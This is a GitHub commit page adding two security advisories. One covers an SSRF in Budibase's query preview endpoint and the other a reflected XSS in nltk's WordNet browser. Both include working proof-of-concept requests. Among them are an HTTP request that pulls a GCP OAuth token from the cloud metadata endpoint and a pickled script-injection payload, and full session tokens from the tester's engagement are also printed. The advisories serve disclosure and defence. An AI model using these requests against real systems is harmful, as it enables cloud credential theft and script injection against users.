Skip to content

Commit 9e9af85

Browse files
1 parent bb69fbc commit 9e9af85

File tree

2 files changed

+118
-0
lines changed

2 files changed

+118
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4647-wpjq-hh7f",
4+
"modified": "2026-03-18T20:22:11Z",
5+
"published": "2026-03-18T20:22:11Z",
6+
"aliases": [
7+
"CVE-2026-33226"
8+
],
9+
"summary": "Budibase Unrestricted Server-Side Request Forgery (SSRF) via REST Datasource Query Preview",
10+
"details": "### Summary\nThe REST datasource query preview endpoint (`POST /api/queries/preview`) makes server-side HTTP requests to any URL supplied by the user in `fields.path` with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with `cloud-platform` scope (full GCP access). On any deployment it enables full internal network enumeration.\n\n### Details\n\nThe vulnerable handler is in `packages/server/src/api/controllers/query.ts` (`preview()`). It reads `fields.path` from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:\n\n```\nfields.path → RestClient.read({ path }) → node-fetch(path)\n```\n\nNo blocklist exists for:\n- Loopback (`127.0.0.1`, `::1`)\n- RFC 1918 ranges (`10.x.x.x`, `172.16-31.x.x`, `192.168.x.x`)\n- Link-local / cloud metadata (`169.254.x.x`)\n- Internal Kubernetes DNS (`.svc.cluster.local`)\n\nThe `datasourceId` field must reference an existing REST-type datasource. This is trivially obtained via `GET /api/datasources` (lists all datasources with their IDs) or created on-demand with a single POST — no base URL is required and `fields.path` overrides it entirely.\n\n### PoC\n\n**Step 1 — Get session token**\n```http\nPOST /api/global/auth/default/login HTTP/1.1\nHost: budibase.dev.com\nContent-Type: application/json\n\n{\"username\": \"admin@example.com\", \"password\": \"password\"}\n```\nResponse sets `Cookie: budibase:auth=<JWT>`.\n\n**Step 2 — Get a REST datasourceId**\n```http\nGET /api/datasources HTTP/1.1\nHost: budibase.dev.com\nCookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs\nx-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b\n```\nPick any `_id` where `\"source\": \"REST\"`.\n\nCaptured from this engagement:\n- Token: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs`\n- App ID: `app_dev_3dbfeba315fd4baa8fb6202fe517e93b`\n- REST datasource ID: `datasource_49d5a1ed1c6149e48c4de0923e5b20c5`\n\n**Step 3 — Send SSRF request**\n\nChange `fields.path` to any internal URL. Examples below.\n\n**3a. Cloud metadata — GCP OAuth2 token**\n```http\nPOST /api/queries/preview HTTP/1.1\nHost: budibase.dev.com\nCookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs\nx-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b\nContent-Type: application/json\n\n{\n \"datasourceId\": \"datasource_49d5a1ed1c6149e48c4de0923e5b20c5\",\n \"name\": \"ssrf\", \"parameters\": [], \"transformer\": \"return data\", \"queryVerb\": \"read\",\n \"fields\": {\n \"path\": \"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token\",\n \"headers\": {\"Metadata-Flavor\": \"Google\"},\n \"queryString\": \"\", \"requestBody\": \"\"\n },\n \"schema\": {}\n}\n```\nResponse:\n```json\n{\"access_token\": \"ya29.d.c0AZ4bNpYDUK...\", \"expires_in\": 3598, \"token_type\": \"Bearer\"}\n```\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nAny authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:\n\n- **Cloud credential theft** — GCP OAuth2 token with `cloud-platform` scope stolen from `169.254.169.254`. Token verified valid against GCP Projects API, granting full access to all GCP services in the project.\n- **Internal database access** — CouchDB reached at `budibase-svc-couchdb:5984` with extracted credentials, exposing all application data.\n- **Internal service enumeration** — MinIO (`minio-service:9000`), Redis, and internal worker APIs (`127.0.0.1:4002`) all reachable.\n- **Kubernetes cluster access** — K8s API server reachable at `kubernetes.default.svc` using the pod's mounted service account token.\n\nThe vulnerability affects **all deployment environments** (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.\n\n\n\n\nDetected by:\nAbdulrahman Albatel\nAbdullah Alrasheed",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "budibase"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "3.30.6"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4647-wpjq-hh7f"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/Budibase/budibase"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-918"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-03-18T20:22:11Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-gfwx-w7gr-fvh7",
4+
"modified": "2026-03-18T20:23:33Z",
5+
"published": "2026-03-18T20:23:33Z",
6+
"aliases": [
7+
"CVE-2026-33230"
8+
],
9+
"summary": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk",
10+
"details": "### Summary\n`nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_<payload>` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.\n\n### Details\nThe vulnerable flow is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144)\n - Requests starting with `lookup_` are handled as HTML responses:\n - `page, word = page_from_href(sp)`\n\n- [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755)\n - `page_from_href()` calls `page_from_reference(Reference.decode(href))`\n\n- [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769)\n - `word = href.word`\n\n- [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796)\n - If no results are found, `word` is inserted directly into the HTML body:\n - `body = \"The word or words '%s' were not found in the dictionary.\" % word`\n\nThis is inconsistent with the `search` route, which does escape user input:\n\n- [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136)\n - `word = html.escape(...)`\n\nAs a result, a malicious `lookup_...` payload can inject script into the response page.\n\nThe issue is exploitable because:\n\n- `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state.\n- The decoded `word` is reflected into HTML without `html.escape()`.\n- The server is started with `HTTPServer((\"\", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`.\n\n### PoC\n1. Start the WordNet Browser in an isolated Docker environment:\n\n```bash\ndocker run -d --name nltk-wordnet-web -p 8002:8002 \\\n nltk-sandbox \\\n python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)\"\n```\n\n2. Use the following crafted payload, which decodes to:\n\n```python\n(\"<script>alert(1)</script>\", {})\n```\n\nEncoded payload:\n\n```text\ngAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\n```\n\n3. Request the vulnerable route:\n\n```bash\ncurl -s \"http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\"\n```\n\n4. Observed result:\n\n```text\nThe word or words '<script>alert(1)</script>' were not found in the dictionary.\n```\n<img width=\"867\" height=\"208\" alt=\"127\" src=\"https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6\" />\n\n\nI also validated the issue directly at function level in Docker:\n\n```python\nimport base64\nimport pickle\n\nfrom nltk.app.wordnet_app import page_from_href\n\npayload = base64.urlsafe_b64encode(\n pickle.dumps((\"<script>alert(1)</script>\", {}), -1)\n).decode()\n\npage, word = page_from_href(payload)\nprint(word)\nprint(\"<script>alert(1)</script>\" in page)\n```\n\nObserved output:\n\n```text\nWORD= <script>alert(1)</script>\nHAS_SCRIPT= True\n```\n\n### Impact\nThis is a reflected XSS issue in the NLTK WordNet Browser web UI.\n\nAn attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:\n\n- run arbitrary script in the browser tab\n- manipulate the page content shown to the user\n- issue same-origin requests to other WordNet Browser routes\n- potentially trigger available UI actions in that local app context\n\nThis primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "nltk"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "3.9.3"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-gfwx-w7gr-fvh7"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/nltk/nltk/commit/1c3f799607eeb088cab2491dcf806ae83c29ad8f"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/nltk/nltk"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-79"
55+
],
56+
"severity": "MODERATE",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-03-18T20:23:33Z",
59+
"nvd_published_at": null
60+
}
61+
}

0 commit comments

Comments
 (0)